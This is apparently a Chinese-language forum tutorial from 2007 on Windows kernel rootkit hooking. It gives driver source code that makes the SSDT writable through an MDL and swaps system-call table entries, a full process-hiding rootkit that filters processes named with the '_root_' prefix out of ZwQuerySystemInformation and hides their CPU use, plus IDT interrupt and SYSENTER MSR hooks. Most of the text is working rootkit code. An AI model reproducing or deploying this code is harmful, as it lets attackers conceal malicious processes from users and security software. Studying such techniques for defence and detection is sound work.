2.Hook前的准备-改变SSDT内存的保护
系统对SSDT都是只读的,不能写。如果试图去写,等你的就是蓝脸。一般可以修改内存属性的方法有:通过cr0寄存器及Memory Descriptor List(MDL)。
(1)改变CR0寄存器的第1位
Windows对内存的分配,是采用的分页管理。其中有个CR0寄存器,如下图:
CR0.jpg
cr0.jpg
其中第1位叫做保护属性位,控制着页的读或写属性。如果为1,则可以读/写/执行;如果为0,则只可以读/执行。SSDT,IDT的页属性在默认下都是只读,可执行的,但不能写。所以现在要把这一位设置成1。
(2)通过Memory Descriptor List(MDL)
也就是把原来SSDT的区域映射到我们自己的MDL区域中,并把这个区域设置成可写。MDL的结构:
typedef struct _MDL {
struct _MDL *Next;
CSHORT Size;
CSHORT MdlFlags; //关键在这里,将来设置成MDL_MAPPED_TO_SYSTEM_VA ,这样一来,这块区域就可写
struct _EPROCESS *Process;
PVOID MappedSystemVa;
PVOID StartVa;
ULONG ByteCount;
ULONG ByteOffset;
} MDL, *PMDL;
首先需要知道KeServiceDscriptorTable的基址和入口数,这样就可以用MmCreateMdl创建一个有起始地址和大小的内存区域。然后把这个MDL结构的flag改成
MDL_MAPPED_TO_SYSTEM_VA ,那么这个区域就可以写了。最后把这个内存区域调用MmMapLockedPages锁定在内存中。大体框架如下:
//先声明一个System Service Descriptor Table,我们知道SSDT及SSPT都从这个表中指向
#pragma pack(1)
typedef struct ServiceDescriptorEntry {
unsigned int *ServiceTableBase;
unsigned int *ServiceCounterTableBase;
unsigned int NumberOfServices;
unsigned char *ParamTableBase;
} SSDT_Entry;
#pragma pack()
__declspec(dllimport) SSDT_Entry KeServiceDescriptorTable;
/
PMDL g_pmdlSystemCall;
PVOID *MappedSystemCallTable;
// 代码
// 保存原系统调用位置
// 映射我们的区域
g_pmdlSystemCall = MmCreateMdl(NULL,
KeServiceDescriptorTable.ServiceTableBase,
KeServiceDescriptorTable.NumberOfServices*4);
if(!g_pmdlSystemCall)
return STATUS_UNSUCCESSFUL;
MmBuildMdlForNonPagedPool(g_pmdlSystemCall);
// 改变MDL的flags
g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags |
MDL_MAPPED_TO_SYSTEM_VA;
//在内存中索定,不让换出
MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode);
现在遇到的第一个问题解决了,但接着面临另外一个问题,如何获得SSDT中函数的地址呢?
3.四个有用的宏
SYSTEMSERVICE macro:可以获得由ntoskrnl.exe导出函数,以Zw*开头函数的地址,这个函数的返回值就是Nt*函数,Nt*函数的地址就在SSDT中
SYSCALL_INDEX macro:获得Zw*函数的地址并返回与之通信的函数在SSDT中的索引。
这两个宏之所以能工作,是因为所有的Zw*函数都开始于opcode:MOV eax, ULONG,这里的ULONG就是系统调用函数在SSDT中的索引。
HOOK_SYSCALL和UNHOOK_SYSCALL macros:获得Zw*函数的地址,取得他的索引,自动的交换SSDT中索引所对应的函数地址和我们hook函数的地址。
这四个宏具体是:
#define SYSTEMSERVICE(_func) /
KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_func+1)]
#define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)
#define HOOK_SYSCALL(_Function, _Hook, _Orig ) /
_Orig = (PVOID) InterlockedExchange( (PLONG) /
&MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
#define UNHOOK_SYSCALL(_Func, _Hook, _Orig ) /
InterlockedExchange((PLONG) /
&MappedSystemCallTable[SYSCALL_INDEX(_Func)], (LONG) _Hook)
4.小试牛刀:利用SSDT Hook隐藏进程
我们所熟知的任务管理器,能察看系统中的所有进程及其他很多信息,这是由于调用了一个叫ZwQuerySystemInformation的内核函数,具体结构是:
NTSTATUS NewZwQuerySystemInformation(
IN ULONG SystemInformationClass, //如果这值是5,则代表系统中所有进程信息
IN PVOID SystemInformation, //这就是最终列举出的信息,和上面的值有关
IN ULONG SystemInformationLength, //后两个不重要
OUT PULONG ReturnLength)
如果用我们自己函数,这个函数可以把我们关心的进程过滤掉,再把它与原函数调换,则可达到隐藏的目的,大体思路如下:
(1) 突破SSDT的内存保护,如上所用的MDL方法
(2) 实现自己的NewZwQuerySystemInformation函数,过滤掉以某些字符开头的进程
(3) 用上面介绍的宏来交换ZwQuerySystemInformation与我们自己的New*函数
(4) 卸载New*函数,完成
具体实例:来自Rootkit.com,我做了注释,代码也很精小。
#include "ntddk.h"
#pragma pack(1)
typedef struct ServiceDescriptorEntry {
unsigned int *ServiceTableBase;
unsigned int *ServiceCounterTableBase; //仅适用于checked build版本
unsigned int NumberOfServices;
unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
#pragma pack()
__declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
//获得SSDT基址宏
#define SYSTEMSERVICE(_function) KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]
PMDL g_pmdlSystemCall;
PVOID *MappedSystemCallTable;
//获得函数在SSDT中的索引宏
#define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)
//调换自己的hook函数与原系统函数的地址
#define HOOK_SYSCALL(_Function, _Hook, _Orig ) /
_Orig = (PVOID) InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
//卸载hook函数
#define UNHOOK_SYSCALL(_Function, _Hook, _Orig ) /
InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
//声明各种结构
struct _SYSTEM_THREADS
{
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER CreateTime;
ULONG WaitTime;
PVOID StartAddress;
CLIENT_ID ClientIs;
KPRIORITY Priority;
KPRIORITY BasePriority;
ULONG ContextSwitchCount;
ULONG ThreadState;
KWAIT_REASON WaitReason;
};
struct _SYSTEM_PROCESSES
{
ULONG NextEntryDelta;
ULONG ThreadCount;
ULONG Reserved[6];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ProcessName;
KPRIORITY BasePriority;
ULONG ProcessId;
ULONG InheritedFromProcessId;
ULONG HandleCount;
ULONG Reserved2[2];
VM_COUNTERS VmCounters;
IO_COUNTERS IoCounters; //windows 2000 only
struct _SYSTEM_THREADS Threads[1];
};
// Added by Creative of rootkit.com
struct _SYSTEM_PROCESSOR_TIMES
{
LARGE_INTEGER IdleTime;
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER DpcTime;
LARGE_INTEGER InterruptTime;
ULONG InterruptCount;
};
NTSYSAPI
NTSTATUS
NTAPI ZwQuerySystemInformation(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength);
typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)(
ULONG SystemInformationCLass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
ZWQUERYSYSTEMINFORMATION OldZwQuerySystemInformation;
// Added by Creative of rootkit.com
LARGE_INTEGER m_UserTime;
LARGE_INTEGER m_KernelTime;
//我们的hook函数,过滤掉以"_root_"开头的进程
NTSTATUS NewZwQuerySystemInformation(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength)
{
NTSTATUS ntStatus;
ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (
SystemInformationClass,
SystemInformation,
SystemInformationLength,
ReturnLength );
if( NT_SUCCESS(ntStatus))
{
// Asking for a file and directory listing
if(SystemInformationClass == 5)
{
// 列举系统进程链表
// 寻找以"_root_"开头的进程
struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
struct _SYSTEM_PROCESSES *prev = NULL;
while(curr)
{
//DbgPrint("Current item is %x/n", curr);
if (curr->ProcessName.Buffer != NULL)
{
if(0 == memcmp(curr->ProcessName.Buffer, L"_root_", 12))
{
m_UserTime.QuadPart += curr->UserTime.QuadPart;
m_KernelTime.QuadPart += curr->KernelTime.QuadPart;
if(prev) // Middle or Last entry
{
if(curr->NextEntryDelta)
prev->NextEntryDelta += curr->NextEntryDelta;
else // we are last, so make prev the end
prev->NextEntryDelta = 0;
}
else
{
if(curr->NextEntryDelta)
{
// we are first in the list, so move it forward
(char *)SystemInformation += curr->NextEntryDelta;
}
else // we are the only process!
SystemInformation = NULL;
}
}
}
else // Idle process入口
{
// 把_root_进程的时间加给Idle进程,Idle称空闲时间
curr->UserTime.QuadPart += m_UserTime.QuadPart;
curr->KernelTime.QuadPart += m_KernelTime.QuadPart;
// 重设时间,为下一次过滤
m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;
}
prev = curr;
if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);
else curr = NULL;
}
}
else if (SystemInformationClass == 8) // 列举系统进程时间
{
struct _SYSTEM_PROCESSOR_TIMES * times = (struct _SYSTEM_PROCESSOR_TIMES *)SystemInformation;
times->IdleTime.QuadPart += m_UserTime.QuadPart + m_KernelTime.QuadPart;
}
}
return ntStatus;
}
VOID OnUnload(IN PDRIVER_OBJECT DriverObject)
{
DbgPrint("ROOTKIT: OnUnload called/n");
// 卸载hook
UNHOOK_SYSCALL( ZwQuerySystemInformation, OldZwQuerySystemInformation, NewZwQuerySystemInformation );
// 解索并释放MDL
if(g_pmdlSystemCall)
{
MmUnmapLockedPages(MappedSystemCallTable, g_pmdlSystemCall);
IoFreeMdl(g_pmdlSystemCall);
}
}
NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject,
IN PUNICODE_STRING theRegistryPath)
{
// 注册一个卸载的分发函数,与与应用层沟通
theDriverObject->DriverUnload = OnUnload;
// 初始化全局时间为零
// 这将会解决时间问题,如果不这样,尽管隐藏了进程,但时间的消耗会不变,cpu 100%
m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;
// 储存旧的函数地址
OldZwQuerySystemInformation =(ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation));
// 把SSDT隐射到我们的区域,以便修改它为可写属性
g_pmdlSystemCall = MmCreateMdl(NULL, KeServiceDescriptorTable.ServiceTableBase, KeServiceDescriptorTable.NumberOfServices*4);
if(!g_pmdlSystemCall)
return STATUS_UNSUCCESSFUL;
MmBuildMdlForNonPagedPool(g_pmdlSystemCall);
// 改变MDL的Flags属性为可写,既然可写当然可读,可执行
g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;
MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode);
// 用了宏,把原来的Zw*替换成我们的New*函数。至此已完成了我们的主要两步,先突破了SSDT的保护,接着用宏更改了目标函数,下来就剩下具体的过滤任务了
HOOK_SYSCALL( ZwQuerySystemInformation, NewZwQuerySystemInformation, OldZwQuerySystemInformation );
return STATUS_SUCCESS;
}
二.IDT hook
(一)基本思路:IDT(Interrupt Descriptor Table)中断描述符表,是用来处理中断的。中断就是停下现在的活动,去完成新的任务。一个中断可以起源于软件或硬件。比如,出现页错误,调用IDT中的0x0E。或用户进程请求系统服务(SSDT)时,调用IDT中的0x2E。而系统服务的调用是经常的,这个中断就能触发。我们现在就想办法,先在系统中找到IDT,然后确定0x2E在IDT中的地址,最后用我们的函数地址去取代它,这样以来,用户的进程(可以特定设置)一调用系统服务,我们的hook函数即被激发。
(二)需解决的问题:从上面分析可以看出,我们大概需要解决这几个问题:
1.IDT如何获取呢?SIDT指令可以办到,它可以在内存中找到IDT,返回一个IDTINFO结构的地址。这个结构中就含有IDT的高半地址和低半地址。为了方便把这两个半地址合在一起,我们可以用一个宏。IDTINFO,和宏的结构如下:
typedef struct
{
WORD IDTLimit;
WORD LowIDTbase; //IDT的低半地址
WORD HiIDTbase; //IDT的高半地址
} IDTINFO;
方便获取地址存取的宏
#define MAKELONG(a, b)((LONG)(((WORD)(a))|((DWORD)((WORD)(b)))<< 16))
2.IDT有最多256个入口,我们现在要的是其中的0x2E,这个中断号的入口地址如何获取呢?
#pragma pack(1)
typedef struct
{
WORD LowOffset; //入口的低半地址
WORD selector;
BYTE unused_lo;
unsigned char unused_hi:5; // stored TYPE ?
unsigned char DPL:2;
unsigned char P:1; // vector is present
WORD HiOffset; //入口地址的低半地址
} IDTENTRY;
#pragma pack()
知道了这个入口结构,就相当于知道了每间房(可以把IDT看作是一排有256间房组成的线性结构)的长度,我们先获取所有的入口idt_entrys,那么第0x2E个房间的地址也就可以确定了,即idt_entrys[0x2E]。
3.如果得到了0x2e的地址,如何用我们的hook地址改写原中断地址呢? 见以下核心代码:
DWORD KiRealSystemServiceISR_Ptr; // 真正的2E句柄,保存以便恢复hook
#define NT_SYSTEM_SERVICE_INT 0x2e
//我们的hook函数
int HookInterrupts()
{
IDTINFO idt_info; //SIDT将返回的结构
IDTENTRY* idt_entries; //IDT的所有入口
IDTENTRY* int2e_entry; //我们目标的入口
__asm{
sidt idt_info; //获取IDTINFO
}
//获取所有的入口
idt_entries =
(IDTENTRY*)MAKELONG(idt_info.LowIDTbase,idt_info.HiIDTbase);
//保存真实的2e地址
KiRealSystemServiceISR_Ptr =
MAKELONG(idt_entries[NT_SYSTEM_SERVICE_INT].LowOffset,
idt_entries[NT_SYSTEM_SERVICE_INT].HiOffset);
//获取0x2E的入口地址
int2e_entry = &(idt_entries[NT_SYSTEM_SERVICE_INT]);
__asm{
cli; // 屏蔽中断,防止被打扰
lea eax,MyKiSystemService; // 获得我们hook函数的地址,保存在eax
mov ebx, int2e_entry; // 0x2E在IDT中的地址,ebx中分地高两个半地址
mov [ebx],ax; // 把我们hook函数的地半地址写入真是第半地址
shr eax,16 //eax右移16,得到高半地址
mov [ebx+6],ax; // 写入高半地址
sti; //开中断
}
return 0;
}
具体代码见:www.rootkit.com/vault/fuzen_op/strace_Fuzen.zip
(三)注意点:
1.每个处理器都有个IDT,所以对于多CPU一定要注意,所有的IDT都要hook。
2.在winxp,win2k3,vsta下失效。
三.SYSENTRY hook
为了性能的考虑,xp后的系统都改用sysentry命令来进入ring0,去调用SSDT中的服务,不再是通过IDT中的 int 2E。这也使得我们hook也变得相对容易了。
首先获得sysentry的地址,然后改之,不用再考虑IDT了。见下面的代码:
#include "ntddk.h"
ULONG d_origKiFastCallEntry; // 原ntoskrnl!KiFastCallEntry地址
VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
{
DbgPrint("ROOTKIT: OnUnload called/n");
}
// Hook function
__declspec(naked) MyKiFastCallEntry()
{
__asm {
jmp [d_origKiFastCallEntry] //这啥都没做,换成你想干的
}
}
NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )
{
theDriverObject->DriverUnload = OnUnload;
__asm {
mov ecx, 0x176
rdmsr // 读IA3_SYSENTER_EIP寄存器值,存有sysenter的地址
mov d_origKiFastCallEntry, eax //保存原值,以便恢复
mov eax, MyKiFastCallEntry // hook函数地址
wrmsr // 将hook函数移入IA32_SYSENTER_EIP寄存器
}
return STATUS_SUCCESS;
}
基本的改变数据结构的hook就说到这里,当然还有DKOM这种高级的技术,有兴趣的自己去看看吧。
by LvG(吕歌)
参考文献:<<Rootkits: Subverting the Windows Kernel >> rootkit.com
<<widows internels>> <<Undocumented NT>>
--------------------------------------------------------------------------------
【版权声明】: 本文原创于看雪技术论坛, 一蓑烟雨,转载请注明作者并保持文章的完整, 谢谢!
2007年04月09日 23:12:24